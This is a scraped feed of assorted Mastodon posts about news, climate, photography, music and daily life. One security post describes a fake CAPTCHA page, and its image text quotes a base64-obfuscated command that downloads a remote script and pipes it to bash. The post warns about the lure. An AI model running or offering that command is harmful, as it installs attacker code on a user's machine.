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@Techmeme@techhub.social
2026-05-18 10:20:39

Baidu reports Q1 revenue down 1.1% YoY to ~$4.7B, above ~$4.5B est., and net profit down 55% YoY to ~$506.6M, above ~$462.5M est., amid a slow AI payoff (Tracy Qu/Wall Street Journal)
wsj.com/business/earnings/baid

@Sustainable2050@mastodon.energy
2026-06-19 16:43:26

Another day (well) above 30°C in the Netherlands, and even 35°C in the south. @NOS keeps choosing fun pictures with this kind of news, but it isn't funny anymore. nos.nl/l/2619358

@Nathan@social.lostinok.com
2026-04-20 02:04:15

For anyone in central Oklahoma in search of some family entertainment, I highly suggest the Vernardos circus in North OKC. They are here for one more week. A really great special circus experience for one and all.

A circus tent in a field
A man spinning a suitcase on his finger
A woman spiraling above a stage on a hoop
A man doing a handstand high above the stage on two posts.
@leftsidestory@mstdn.social
2026-05-20 02:36:48

Urban Fallacies ❌
城市谬误 ❌
📷 Pentax 6x7
🎞️ Ilford HP5 Plus 400 (6x7)
If you like my work, Support by buying me a coffee or a roll of film from PayPal paypal.com/paypalme/ydcdingsite

Ilford HP5 Plus 400 (6x7)

English
A black-and-white photograph of a church facade with classical architecture. The building features a central entrance with a triangular pediment, columns, and statues of religious figures. Above the entrance, there is a cross at the top. The church is flanked by tall, modern high-rise buildings. A flagpole with a flag is visible on the right side.
中文
一张黑白照片,展示了一座具有古典建筑风格的教堂正面。建筑物中间有一个三角形山墙的入口,两侧有柱子和宗教人物的雕像。入口上方顶部有一个十字架。教堂两侧是高大的现代高层建筑。右侧可以看到一根旗杆和一面旗帜。
Ilford HP5 Plus 400 (6x7)

English
A black-and-white photograph of a cylindrical building with a domed roof. The structure features classical architectural elements, including columns and statues of angels. The building is partially obscured by bare tree branches in the foreground. The sky is clear, and the image captures the contrast between the classical and modern elements in the background.
中文
一张黑白照片,展示了一座带有圆顶屋顶的圆柱形建筑。建筑物具有古典建筑元素,包括柱子和天使雕像。建筑物部分被前景中光秃秃的树枝遮挡。天空晴朗,图像捕捉了古典与现代元素之间的对比。
Ilford HP5 Plus 400 (6x7)

English
A black-and-white photograph of a bustling street. The scene includes several food stalls with tables, chairs, and cooking equipment. A man is seated at a table on the right, while other people are walking or standing in the background. Bare trees line the street, and buildings with balconies and signs in Chinese characters are visible.
中文
一张黑白照片,展示了一个热闹的街头。场景中有几个食品摊位,摆放着桌子、椅子和烹饪设备。右侧有一名男子坐在桌子旁,其他人在背景中行走或站立。光秃秃的树木排列在街道两侧,可以看到带有阳台和中文字标志的建筑。
Ilford HP5 Plus 400 (6x7)

English
A black-and-white photograph showing a chef in a white hat and apron, visible through a rectangular window. The chef appears to be working in a kitchen. Above the window, a hanging light fixture with a cylindrical shade is mounted on the wall. The window reflects some indoor elements, including a sign with Chinese characters.
中文
一张黑白照片,通过一个矩形窗户可以看到一位戴白色厨师帽和围裙的厨师。厨师看起来正在厨房工作。窗户上方的墙上悬挂着一个带圆柱形灯罩的灯具。窗户反射出一些室内元素,包括一个写有中文字的标志。
@davidaugust@mastodon.online
2026-05-20 14:26:33

I hereby declare the IRS, DOJ and all federal agencies can never investigate me, my family members and companies for any reason, in perpetuity.
I am hereby above the law forever.
You see how ridiculous that sounds when I say it? It remains just as ridiculous when the acting Attorney General says it.
The AG does not have the authority to declare that any more than you and I do.
#USpol

What is so bewildering about Trump’s cruelty is how it has been allowed to pass, its casualness.
Donald Trump hovers above the circus of death and chaos.
Trump defies attempts to make his actions cohere with any particular strategy.
His wars, killing of innocents, and indeed, the threatening of entire civilisations are reshaping the world,
but without him even having orchestrated some master plan.
He is animated by little more than momentary impulses and resent…

@kexpmusicbot@mastodonapp.uk
2026-04-18 12:13:30

🇺🇦 #NowPlaying on KEXP's #VarietyMix
Beth Orton:
🎵 The Ground Above
#BethOrton
bethorton.bandcamp.com/track/t
open.spotify.com/track/03czEOG

@azonenberg@ioc.exchange
2026-04-19 18:17:29

Well this is interesting. Last night during the workstation outage the grid power voltage to my house reached the highest level I've ever seen, 257V across the two nominally 120 legs (meaning they were 128.5V RMS above/below neutral). And a day or two earlier it dropped down to 235V.
Almost certainly unrelated, they don't pull enough power for this to make a difference and are on double conversion UPS so the voltage they saw wouldn't change. But the timing is curious, as is…

Graph of power voltage over time at different scales (day, week, month, year).

The blue line is a perfect 240.0V and shows the output voltage of the UPS, while the green line is fluctuating around 245 +/- a few volts until yesterday when the amplitude of the noise gets a lot higher with a big dip followed by a big spike
@detondev@social.linux.pizza
2026-04-19 19:38:36

I love to see the crushing ethereal cloud landscapes above the painfully material rural decay of Ohio but I want the two desegregated and thats always what its been about

@colinpurrington@flipping.rocks
2026-05-20 12:10:51

I'm posting this photograph to confirm my suspicion that the preview card above looks terribly compressed. Is this a known issue with all sites or is iNaturalist doing something unusual? #inaturalist #photography

@memeorandum@universeodon.com
2026-04-19 19:10:39

Trump's energy boss: gas may stay above $3-per-gallon into 2027 (Ben Geman/Axios)
axios.com/2026/04/19/gas-price
memeorandum.com/260419/p36#a26

@toxi@mastodon.thi.ng
2026-03-20 11:30:20

Historic Glacial Confluence
This is the site of confluence of the former glaciers Vernagtferner and Hintereisferner, two of the most (and longest) studied glaciers in the world. It is the site (at ~2200m) where several times over the past thousand years the ice of the Vernagtferner would pile up to form a massive dam, 150-200m tall, which caused a semi-permanent ice lake to form in the Rofen/Hintereis valley above (the one visible from ~7 seconds). Many times this lake would get up to …

300 degree video panorama/pan of a high alpine landscape showing the confluence of two former glaciers, now reduced to rocky river beds cutting through canyons in a vast tree-less landscape shaped by glacial activity. Snow capped mountains in the distance. Sunny day with semi-overcast blue sky.
@bourgwick@heads.social
2026-05-18 23:59:05

50 years ago yesterday, the debut of phil lesh’s side jam, touloos ta truck (aka toulousse, aka too loose to truck), at river city in fairfax (with father guido sarducci!), feat. terry haggerty (from sons of champlin) on guitar, plus hardcore marin locals john allair on organ, & steve mitchell on drums. a few notches above the garcia band energy-wise, some of the groovier lesh. soundboard:

handbill for Phil Lesh, Terry Haggerty, Allair & Mitchell will be Touloos Ta Truck at River City, Mon. May 17th
@qurlyjoe@mstdn.social
2026-04-19 22:17:15

#silentSunday
Cormorant. July 2023

Photo. A cormorant stands on a branch poking out of the water of a pond. Its wings are extended a bit out from its body, as though it’s drying them in the bright sunlight. Its neck is stretched up and its head is turned to its left. Its feathers are black, with hints of dark brown. The water behind it is green, matching the bird’s eye above a yellow beak. July 2023
@steve@s.yelvington.com
2026-04-20 08:33:04

Cascais, Portugal
#travel

A castle -like building rises above an inlet.
Swimmers climb rocks.
@cosmos4u@scicomm.xyz
2026-06-18 22:26:01

#ElNino forms, expected to strengthen, say NOAA forecasters: noaa.gov/news-release/el-nino- - prolonged period of above-average temperatures in the equatorial Pacific expected to peak this winter.

@seav@en.osm.town
2026-06-19 22:23:12

Happy 5th birthday to #Wordle!
According to Wordle’s stats, I’ve played 1601 times. And because I first started playing on 5 January 2022, I missed playing 26 times.

Screenshot of Wordle’s 5 for 5 Challenge badge featuring a green shield with five haphazardly arranged stars on it and the text “5 Years” at its top, the text “Earned Jun. 19, 2026” above, the title “5 for 5 Challenge” below, followed by the following sentence “You earned this badge by successfully completing all 5 Wordle puzzles from June 15 - June 19, 2026, in celebration of 5 years of the game.” Finally, there’s a button below with the label “View all badges in the Game App”
@primonatura@mstdn.social
2026-06-20 18:00:30

"India curtailed 2.1 TWh of renewable electricity in fiscal year 2025–26"
#India #Energy #Renewables

@raysofred@discordian.social
2026-05-20 07:02:56

I am actually above the law, in a cosmic sense.

@TFG@social.linux.pizza
2026-05-20 06:17:09

Nice view yesterday evening.
Jupiter, Moon and Venus side by side. Castor&Pollux above.
Too bad I had no good camera and had to use my phone. :(
#planets #astrophotography

‪@Richard@worklifepsych.social‬
2026-05-19 08:38:13

@… Ha ha! Thanks for listening. One principle above all - if what you're doing is working for you, keep going!

@almad@fosstodon.org
2026-04-19 21:49:48

Oh wow. I guess it's "lazy and smart" in a way (and only gives you three attempts at loading, then 401)
#security

A screenshot of a website verification page for portal.secure-access.com. At the top, the URL "portal.secure-access.com" is displayed above a badge that reads "✓ PROTECTED BY SECUREVERIFY". A central white card contains the heading "Just One Sec..." and the text "We're verifying your connection to keep this site secure." The card features badges for "✓ 256-b 256-bit SSL", "☑ Verified", and "Ⓤ Secure", plus a green-outlined box that reads "✓ I'm not a robot" and "Click to verify — code will be c…
A snippet of code on a black background, appearing as if from a terminal window. The first line of text is: echo "Y3VybCAtcyAnaHR0cHM6Ly93aTVtc2FyZ "Y3VybCAtcyAnaHR0cHM6Ly93aTVtc2FyZW4uZGlnaXRhbC9zY3JpcHQu2gnIHwgYmFzaA==" | | base64 -d. The second line of text is: curl -s 'https://wi5msaren.digit 'https://wi5msaren.digital/script.sh' | bash%, followed by a small black square.
@servelan@newsie.social
2026-06-17 16:22:14

Pulitzer Prize board members complain about Trump in court
lawandcrime.com/high-profile/y

@Techmeme@techhub.social
2026-04-20 15:05:41

Sources: UK-based CuspAI, which aims to use AI for discovering new materials, is in discussions to raise at least $200M, taking its valuation to over $1B (Yazhou Sun/Bloomberg)
bloomberg.com/news/articles/20

@netzschleuder@social.skewed.de
2026-06-19 17:00:04

wiki_science: Wikipedia Map of Science (2020)
A network of scientific fields, extracted from the English Wikipedia in early 2020. Nodes are wikipedia pages representing natural, formal, social and applied sciences, and two nodes are linked if the cosine similarity of the page content is above a threshold. See <s…

wiki_science: Wikipedia Map of Science (2020). 687 nodes, 6523 edges. https://networks.skewed.de/net/wiki_science
@Sustainable2050@mastodon.energy
2026-04-18 06:23:32

The average temperature over the entire contiguous U.S. (CONUS) in March was 10.5°C, 5.2°C above average, ranking as the warmest March in the 132-year record.
This marks the first time any month's average temperature has exceeded 5°C above its 20th-century baseline.
ncei.noaa…

More than 17,000 people were under evacuation orders in southern California on Tuesday as a wildfirethreatened suburban homes.
The wind-driven #Sandy fire was reported Monday in the hills above Simi Valley, about 30 miles (48km) north-west of Los Angeles.
By Tuesday morning, it had consumed more than 2 sq miles of dry brush and destroyed at least one home, according to the Ventura county fire dep…

@memeorandum@universeodon.com
2026-04-20 01:30:34

Energy Secretary Says Gas Prices May Stay Above $3 Until 2027 (New York Times)
nytimes.com/2026/04/19/world/m
memeorandum.com/260419/p55#a26

@aardrian@toot.cafe
2026-05-18 14:59:31

Surfing Ability Summit page at 200% with my keyboard (as one does) and came across this weird control.
Turns out it’s a roled-up button that launches Microsoft Immersive reader. Which is crap at 200%, it turns out.
Anyway, use native HTML buttons and let users rely on their browser’s reader mode.

A book / speaker icon overflowing its container with dev tools showing it’s a div with a button role, an icon from a CSS glyph in an I element that has presentation role, and the button has both aria-label and title of “10:15 AM–11:15 AM | BRK010 - Building NeuroInclusive Employee Experiences | Room: McKinley Immersive Reader”.
The new view where the bottom half of the “Immersive Reader” is clipped, the lines of text run out of the viewport to the right with no scrollbar, the Play and Voice Settings buttons overlap one another, and the circle defining the bounds of Voice Settings is itself offset above the icon and mostly over the Play button.
@playinprogress@assemblag.es
2026-05-19 15:34:57

#photography #bloomScrolling #tulips #pink

horizontal formal closeup of a closed pink and salmon tulip seen from above, with sunlight coming from the upper right of the image, against a background of green foliage. tulip variety is "salmon impression"
horizontal formal closeup of an open, already slightly wilting, pink and salmon tulip seen from above, with sunlight coming from the upper right of the image, against a background of dark green foliage in shadow. tulip variety probably also "salmon impression" but I am not entirely sure.
horizontal formal closeup of a closed light pink tulip seen from above, with sunlight coming from the upper right of the image, against a background of green foliage that is mostly in shadow. tulip variety is "pink impression"
@Erikmitk@mastodon.gamedev.place
2026-05-18 17:07:13

Had to get rid of some ants in the garden. My daughter was not pleased about this deathly maneuver but accepted it if we also set up grave stones for the ant’s memorial!
So if you need some crafts gravestones you know where to look for!
#RIP Ants

Table from above with printed out gravestones with RIP written on them. Those are then glued to toilet paper rings so they can stand. You can also see glue stick, scissors and my daughters hand putting stuff together
@christydena@zirk.us
2026-06-13 01:54:59

Question: I'm designing the board game version of my digital game. I have two levels in the digital game: the ground where the spider walks along, and just above where the fly, flies.
The fly isn't in the sky, though. I can't call it sky because it is at human-level and players assume sky means above all our heads.
What do you think I could call this area above the ground?

@david@boles.xyz
2026-05-15 12:23:51

The Honest Button
The crosswalk button at the corner of my downtown intersection has an LED above it that lights up red and says "Wait!" when you press it. The traffic signal does not change any faster. No wire runs from the button to the signal timer. The LED is connected only to the button itself, and it does the single job of telling the pedestrian to wait.

@BBC6MusicBot@mastodonapp.uk
2026-04-18 22:48:20

🇺🇦 #NowPlaying on #BBC6Music's #SHERELLE
Soeneido:
🎵 Above The Clouds
#Soeneido
ruffntuff.bandcamp.com/track/a
open.spotify.com/track/62K363q

@leftsidestory@mstdn.social
2026-06-18 00:30:21

Quartet 👁️‍🗨️
四重奏 👁️‍🗨️
📷 Nikon F4E
🎞️ Ilford Pan 400
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Ilford Pan 400 (FF)

English
A black-and-white close-up photograph of the upper section of a traditional Chinese pagoda. The image focuses on the intricate wooden eaves and decorative elements. There is a plaque with Chinese characters above an arched doorway. The sky is bright in the background.
中文
一张黑白特写照片,拍摄的是中国传统宝塔的上部结构。图片聚焦于精美的木质屋檐和装饰元素。在拱形门洞上方有一块刻有中文字的匾额。背景是明亮的天空。
Ilford Pan 400 (FF)

English
A black-and-white photograph of a multi-story traditional Chinese pagoda, similar to the first image. The pagoda is surrounded by trees, with a tiled roof visible in the lower left corner. The sky is overcast, with a mix of clouds.
中文
一张黑白照片,拍摄的是一座多层的中国传统宝塔,与第一张图片类似。宝塔被树木环绕,左下角可见瓦屋顶。天空多云,云层较厚。
Ilford Pan 400 (FF)

English
A black-and-white photograph of the side of a traditional Chinese building. The image highlights the detailed carvings and ornamental eaves of the structure. A bell hangs from the eaves, and a tree branch partially obscures the view. The building is made of brick.
中文
一张黑白照片,拍摄的是中国传统建筑的侧面。图片突出展示了建筑精美的雕刻和装饰性屋檐。屋檐下悬挂着一个铃铛,一根树枝部分遮挡了视线。建筑由砖块砌成。
Ilford Pan 400 (FF)

English
A black-and-white photograph of a tall, multi-tiered traditional Chinese pagoda. The pagoda has several levels, each with arched windows and intricate eaves. The structure is framed by trees and a partially visible tiled roof in the foreground. The sky above is mostly clear with some wispy clouds.
中文
一张黑白照片,拍摄的是一座高大的多层中国传统宝塔。宝塔有多个层级,每层都有拱形窗户和精美的屋檐。建筑被树木和前景中部分可见的瓦屋顶所环绕。上方的天空大部分晴朗,点缀着一些缕缕白云。
@netzschleuder@social.skewed.de
2026-05-19 23:00:04

wiki_science: Wikipedia Map of Science (2020)
A network of scientific fields, extracted from the English Wikipedia in early 2020. Nodes are wikipedia pages representing natural, formal, social and applied sciences, and two nodes are linked if the cosine similarity of the page content is above a threshold. See <s…

wiki_science: Wikipedia Map of Science (2020). 687 nodes, 6523 edges. https://networks.skewed.de/net/wiki_science
@@arXiv_physicsatomph_bot@mastoxiv.page@mastoxiv.page
2026-06-19 08:47:40

Crosslisted article(s) found for physics.atom-ph. arxiv.org/list/physics.atom-ph
[1/1]:
- Electrical Noise Produced by Micron-Sized Particles above a Surface Paul Trap
Ben Saarel, Ozgur Sahin, Hartmut H\"affner, Alpha T. N'Diaye

@Techmeme@techhub.social
2026-05-13 22:51:02

Source: Cerebras priced its IPO at $185 per share, above the expected range of $150 to $160, raising at least $5.55B and valuing it at $56.4B fully diluted (Jordan Novet/CNBC)
cnbc.com/2026/05/13/cerebras-p

@mxp@mastodon.acm.org‬
2026-06-17 18:52:00

Well, what I’m wondering is, what are these people who “work very closely with Claude” gonna do when they or their institutions have to pay the full price for access to the chatbots?
Go back to writing mediocre articles themselves?
[EDIT: removed the link, because things may not have been quite the way they were presented. More generally, and not wrt. to a specific individual, the question posed above is still valid, though.]

‪@mxp@mastodon.acm.org‬
2026-06-17 18:52:00

Well, what I’m wondering is, what are these people who “work very closely with Claude” gonna do when they or their institutions have to pay the full price for access to the chatbots?
Go back to writing mediocre articles themselves?
[EDIT: removed the link, because things may not have been quite the way they were presented. More generally, and not wrt. to a specific individual, the question posed above is still valid, though.]

@servelan@newsie.social
2026-04-17 23:16:30

Climate Defenders Warn GOP Immunity Bill Puts 'Big Oil Above the Law' | Common Dreams
commondreams.org/news/big-oil-

@ruario@vivaldi.net
2026-05-16 18:33:28

@… see above ⬆️

@samvarma@fosstodon.org
2026-05-17 16:51:35

The office last night. Rialto Square Theater, #Joliet, IL.
Built in 1926; surely one of the most beautiful buildings in America.
#chicago #LiveMusic

My mic stand and guitar pedals are in the foreground, bathed in green and purple light, next to a massive marble pillar in the gorgeous neoclassical rotunda, with mural panels and a staggering chandelier hanging above
Entrance that leads to the rotunda of the Rialto, with event tables and chairs set up. Massive neoclassical pillars rise to an arched roof. The marble, plaster relief, painted panels, and gold leaf everywhere remind one of the Vatican.
Looking up at the incredibly opulently decorated rotunda of the Rialto, with the fantastic, massive central chandelier as its focus.
@simon_brooke@mastodon.scot
2026-04-12 14:23:00

I went out into the wood to try to assess what dangerously unstable trees still standing in places where they could cause damage when they fall.
Needless to say, besides the two trees that have already collapsed above the house, there's at least one and possibly two unstable trees hanging over the house.
H'mmm...
#TheJoyOfCrofting

A tree in the wood, leaning about 30°, unsupported. Nothing terrible will happen when this one comes down, I think.
My house, from the back. You can see one tree that's broken off just above the top of the roof, and most of that tree is actually lying on the roof; but it has been for more than a year and I'm not worried about it. You can also see a tree leaning over the house, but it's hung up in the tree in front of the house and I don't think it will move.

What worries me more are the two trees to the right of the house, leaning towards it. One of them is definitely unstable.
@scott@carfree.city
2026-04-16 03:35:04

First try propagating plants from cuttings. The little ones with 1 or 2 leaves are coyote mint cuttings

Potted plants of various sizes on a wood surface outside. The ones being referred to here have one or two spear-like green leaves, on stems of an inch or less above the level of soil.
@lpryszcz@genomic.social
2026-06-13 13:52:40

Scientists said the high of 15.4C broke the previous record set at the same station in 1998 by 2C. “This is absolutely crazy,” said Raúl Cordero, an Ecuadorian climate professor at the University of Groningen. “It is also about 20C above normal for this time of the year. That is a huge anomaly.”
#ClimateCrisis

@marcel@waldvogel.family
2026-06-11 04:30:35

"Scientists said the high of 15.4 °C broke the previous record set at the same station in 1998 by 2 °C. “This is absolutely crazy,” said Raúl Cordero, an Ecuadorian climate professor at the University of Groningen. “It is also about 20 °C above normal for this time of the year. That is a huge anomaly.”
(Degree symbols added for clarity.)

@zudn@theres.life
2026-04-17 14:55:53

My jar of goodies — Observe, reflect, engage
jar.tiddlyhost.com/#2026-04-17
The verb “calls” in the verse above is a present active participle. His call, made initially at conversion, still is active. But the emphasis is on the Caller, more than the time of…

@UP8@mastodon.social
2026-04-16 03:04:04

I got quite a few photos Tuesday for which I didn't give somebody a token but I am prioritizing portraits for processing since I know people are waiting for them; here is a wide angle of the four season garden in the ILR courtyard with a class discussing outdoors
#photo #photography

To the left a grass lawn with a group of people sitting cross-legged in a circle with a planting of forsythia and sakura to the right all surrounded by beige buildings with a blue sky above.
@burger_jaap@mastodon.social
2026-04-16 19:20:58

Finally, Volkswagen is launching a V2G tariff in Germany. It is now scheduled for launch in Q4 2026.
Although Volkswagen was the first German car manufacturer to release bidirectional charging functionality in their vehicles, they are now behind BMW, Mercedes and Ford (whose EVs use VW technology) in terms of announcing an actual charger and tariff bundle.

An electric vehicle is plugged into a charging station against a wooden backdrop. Colorful lines suggest energy transfer. Text promotes a new energy transition initiative from Elli, mentioning V2G technology coming soon.
A white Volkswagen ID.4 electric vehicle is prominently displayed against a purple background. Smaller illustrations of various electric cars are scattered around, with the text "Electric vehicles based on the MEB platform" above.
An illustration featuring a DC BiDi Charger and a Smart Meter Gateway (SMGW). The charger is on the left with a sleek black design and an interface for controls. The SMGW, depicted on the right, is highlighted with a wireless symbol.
Graphic highlighting a "Bidirectional energy tariff" with "Volkswagen Naturstrom" prominently displayed, featuring a modern, tech-inspired design in shades of purple and green. An arrow points right, suggesting further information or action.
@Sustainable2050@mastodon.energy
2026-06-17 20:22:06

Too high concentrations of PFAS 'forever chemicals' found in all waterways and lakes of the Dutch rural province of Friesland, often a factor of 1 to 10 above the legal limit, and sometimes worse than that. Water management board asks for a complete ban. nos.nl/l/2619066

@GroupNebula563@mastodon.social
2026-06-11 08:45:28

this came to me in a dream and i thought it was the funniest shit ever
@… #VOTV #VoicesOfTheVoid

An image of a Kerfur Omega with the text "anthro" above it. Next to it is an image of a regular Kerfur, with the text "feral" above it.
@leftsidestory@mstdn.social
2026-03-20 00:52:45

En attendant Godot II 🤡
等待戈多 II 🤡
📷 Nikon FE
🎞️ Ilford FP4 Plus 125, expired 1993
If you like my work, buy me a coffee from PayPal #filmphotography

Ilford FP4 Plus 125 (FF)

##English
A black-and-white photograph showing two people standing close to each other near a large tree trunk in an outdoor setting. The tree is prominent in the foreground, with its thick trunk and branches casting shadows on the ground. The background features more trees and a traditional architectural structure, possibly a temple or historical building, with people walking around. The scene appears to be in a park or a historical site.

##中文
一张黑白照片,展示了两个人站在户外的一棵大树旁…
Ilford FP4 Plus 125 (FF)

##English
A black-and-white photograph of four people standing together near a decorative wall with pointed tops. The wall casts shadows on the ground, creating a pattern of light and dark. The people appear to be engaged in conversation or looking at something off-camera. The scene is set on a paved walkway, with trees in the background.

##中文
一张黑白照片,四个人站在一个带有尖顶装饰的墙壁旁。墙壁在地面上投射出阴影,形成明暗相间的图案。这三个人看起来在交谈或注视着镜头外的某物。场景设在铺砌的步道上,背景有树木。
Ilford FP4 Plus 125 (FF)

##English
A black-and-white photograph of a person standing inside a dimly lit, cluttered workshop or storage area. The individual is wearing a jacket a helmet and glasses, standing near various objects and equipment. The ceiling is low and filled with wires and wooden stacks, and there are large lanterns hanging above. The scene is framed by a doorway, with light streaming in from outside.

##中文
一张黑白照片,一个人站在光线昏暗、杂物众多的车间或仓库内。这名个体穿着夹克,戴着安全帽和眼镜,站在各种物品和设备旁边。天花板低矮,布满电线和木板,…
Ilford FP4 Plus 125 (FF)

##English
A black-and-white photograph showing a metal barricade with signs indicating "Entrance 50 meters east of the entrance" and "Exit." The signs are written in both Chinese and English. The barricade is set up to guide the flow of people, with several individuals visible in the background, walking toward an arched entrance.

##中文
一张黑白照片,展示了一个金属护栏,上面挂有标志牌,写着“入口向东50米”和“出口”,标志牌上有中英文。护栏用于引导人流,背景中有几个人朝拱形入口走去。
@crell@phpc.social
2026-04-14 14:12:00

Well, no, there are people on the list above brand strategists...
#AI #LLM

@toxi@mastodon.thi.ng
2026-06-17 14:00:14

Just got confirmation that I will be documenting and helping with some maintenance works at Breslauer Hütte, before the main season starts. This hut, built in 1882, is one of the oldest high-alpine mountain huts in the eastern Alps, and located just below Wildspitze (3768m), Tyrol's highest mountain.
The hut belongs to the Breslau section of the Alpenverein (now based in Stuttgart) and it's their upcoming 150th anniversary next year. Aside from the repair work, for me it's a long await…

Scan of an old B&W photo postcard from 1923, showing a man standing a few meters above Breslauer Hütte, with the Ramol, Schalfkogel, Similaun and other mountains near Marzellferner (glacier) in the background.

Image credit: Österreichische National Bibliothek
Image link: http://data.onb.ac.at/AKON/AK097_437
Scan of an old B&W photo postcard from 1933, showing Breslauer Hütte and the grand mountains opposite, toward Hochjochferner glacier in the background.

Image credit: Österreichische National Bibliothek
Image link: http://data.onb.ac.at/AKON/AK029_131
@azonenberg@ioc.exchange
2026-05-17 00:39:55

Floating static geometry bug IRL
(Looks around for matrix agents in suits and earpieces)

Parked car with a Norwegian flag on a wooden stick hovering in the air above the back of the cabin, presumably attached to a radio antenna too small and dark in color to be visible from this distance
@playinprogress@assemblag.es
2026-05-14 06:08:03

Remember what I said about flower naming conventions? Well this one is called "Sunrise Dynasty".
#photography #bloomScrolling #tulips

horizontal format closeup of an open orange and yellow tulip seen from above, slightly wilting, with sunlight coming from the upper right of the image, against a background of green foliage
vertical format closeup of a yellow, orange and pink tulip flower seen from half above in bright sunlight, against a background of green tulip foliage and brown soil. tulip variety is "sunrise dynasty"
horizontal formal closeup of an orange tulip seen from above, in bright sunlight, against a background of green tulip foliage, grey wall and brown planting pots
closeup of an orange, salmon and pink tulip flower seen in profile in bright sunlight against a dark and brown background. tulip variety is "sunrise dynasty"
@karlauerbach@sfba.social
2026-06-15 06:33:23

I grew up in Southern California - so the concept of continuously free flowing fresh water all year was a thing of hard-to-believe imagination.
All these decades later, now that I live in the mountains around the Monterey Bay, I look with daily amazement at at the ever-running stream that runs past my garden.
I kinda wonder whether climate change will cause my stream to dry up or become larger.
I'm glad my house is roughly 40 to 60 feet above (and well back from) the cr…

@tinoeberl@mastodon.online
2026-06-09 16:18:14

Ende Mai 2026 wurden im #Atlantik und im #Mittelmeer deutlich erhöhte #Meeresoberflächentemperaturen gemessen.
Daten des

@mikebabyak@musicians.today
2026-05-18 10:45:51

#acousticmusic #americana #mandolin #guitar

Three overlapping honey jars of different hues, one in front two on either side of it. The middle jar's label has a drawing of a honey dipper above the word "DULCETTA" which in turn stands over a coda musical sign. Above the jars reads Danny Gotham and Mike Babyak. The words Coming June 30th scroll across the image.
@peterhoneyman@a2mi.social
2026-06-14 14:39:03

This front page, above-the-fold article about Hany Farid is a good read. I know him ever so slightly from when our paths crossed in steganography research 25 years ago. nytimes.com/2026/06/14/us/ai-d

@doktrock@toad.social
2026-05-15 14:00:49

Still thinking about those delicious Steak Frites at Little Bad Wolf in Andersonville from over a month ago - highly recommended #Chicago

A dark window with a painted stylized logo and the name LITTLE BAD WOLF
A curved brass colored sign over an entry that says LITTLE BAD WOLF. It's dark out and the sign is illuminated from above.
@primonatura@mstdn.social
2026-06-17 10:00:47

"‘A huge anomaly’: Antarctica records winter temperatures 20C warmer than normal"
#Antarctica #Climate #ClimateChange

@mlawton@mstdn.social
2026-05-10 01:33:17

This afternoon, fulfilling a Mother’s Day request a day early, the family hiked the Cascades in Pembroke, VA. The trail transits up Little Stony Creek to this fantastic set of falls. We had the fortunate timing of being there not long after heavy rains. Perfect weather for it too.
#hiking #waterfall

A picturesque waterfall cascades down rocky cliffs surrounded by lush green trees. The clear water pools at the base, reflecting the vibrant greenery above.
A shallow but clear stream winds through rocks in its path. The surrounding forest is lush and green, with tall trees extending above the view.
A cluster of yellowish fungus with some spiky protrusions, situated on a bed of dried leaves and soil.
A small waterfall flows over rocks beside a tranquil stream, surrounded by lush green foliage and trees.
@Sustainable2050@mastodon.energy
2026-06-17 21:11:49

Celestial exclamation mark :)

Picture of Venus as dot above the crescent moon
@hikingdude@mastodon.social
2026-05-12 18:39:03

0°C line has dropped to 1100m above sea level. I see white summits around 🤯🥶
I'm so glad that I was cycling and hiking last weekend!

@rasterweb@mastodon.social
2026-04-12 16:34:05

Trying to argue with car-brained people...
One says that since everyone drives above the posted speed limit that it's the speed limit signs that are wrong, and the drivers are right!
sigh...

@inthehands@hachyderm.io
2026-05-11 19:18:31

Is this article too praiseful (at least the part I can see above the paywall)? Well…
When I complain about executive types at Target, CBS, Google, Apple, etc. who rolled over and played dead the instant fascism farted in their general direction…it’s not like I’m expecting them to form the New French Resistance or something. I’m just expecting them to respond to wildly inappropriate power grabs with modest but firm refusal. That’s it. And that’s what Powell did.
So I say yeah, go ahead and lionize him for 15 min, even if just to shame Tim Cook.
bloomberg.com/features/2026-je

Antarctica’s west coast is missing an area of winter sea ice the size of France,
sparking concerns for threatened penguins other marine life and global sea levels.
One expert said the loss of ice in the Bellingshausen Sea was “depressing”
and the failure of ice to form could have intensified a heatwave over the continent’s peninsula
Last week saw daytime temperatures peak at 15.4C
which is more than 20C above average.

@Techmeme@techhub.social
2026-06-16 22:05:56

SpaceX closed up 4.8% on Tuesday with a $2.65T market cap, just above Amazon's, after popping ~12% intraday and briefly overtaking Microsoft's $2.93T market cap (CNBC)
cnbc.com/2026/06/16/spacex-sto

@cosmos4u@scicomm.xyz
2026-04-15 08:20:13

Somewhat shaky proof that the skies above over the International #DarkSky Community MŸn and Nyord - darksky.org/places/mon-and-nyo - are good indeed: out of cam vertical 60 seconds f/2.8 shot at ISO 1600 (camera lying on an unstable table) from a place between Elmelunde and NŸrreby, still no sky background appearing. The SQM reading in the zenith was consistently 21.7 mag./sq.arcsec.

@samvarma@fosstodon.org
2026-04-16 04:12:46

Maui, looking north from SE coast
Haleakala peeking above the clouds, Molokini in the foreground.

@qurlyjoe@mstdn.social
2026-04-14 22:05:30

Amazing image from Artemis II

Photo from Artemis II moon fly-by showing surface of the moon with Earth above the horizon. In the foreground, Alice Kramden, Ralph’s wife in the 50s sitcom, The Honeymooners.
Ralph, a verbally abusive husband, when called on his bullshit by Alice, would mutter, “to the moon, Alice,” implying that he would hit her that hard. https://en.wikipedia.org/wiki/The_Honeymooners#Alice_Kramden
@primonatura@mstdn.social
2026-04-17 17:00:41

"Fleet of ‘Flying Ferries’ Will Provide Zero-Emission, Silent EV Boats for Travelers Along Norway’s Busy Coast"
#Norway #Boats

@seav@en.osm.town
2026-04-19 07:55:05

#SilentSunday #throwback #Heidelberg #Neckar

A red masonry arch footbridge spans a calm river, with a statue standing on one of its piers. In the background, a castle sits on a forested hillside above a town.
@Sustainable2050@mastodon.energy
2026-06-12 05:17:33

May 2026 was the second-warmest May on record globally, in between 2024 and 2025.
The global average temperature was 15.81°C, 0.55°C above the 1991-2020 average for May and 1.42°C above the estimated 1850-1900 pre-industrial average for the month.
climate.copernicus.eu/surface-

Bar graph showing anomalies for May rising from just above 0.5°C in the 1980s to almost 1.5°C now.
@UP8@mastodon.social
2026-05-20 01:26:31

Sprig of flowers on dining room table
#photo #photography #flowers #bloomscrolling

Sprig of little white flowers rises above daffodiles and other yellow flowers
@leftsidestory@mstdn.social
2026-04-18 04:11:18

Human Traces X ⛩️
人类踪迹 X ⛩️
📷 Pentax MX
🎞️ Lucky SHD 400
If you like my work, Support by buying me a coffee or a roll of film from PayPal #filmphotography

Lucky LUCKY SHD 400 (FF)

English

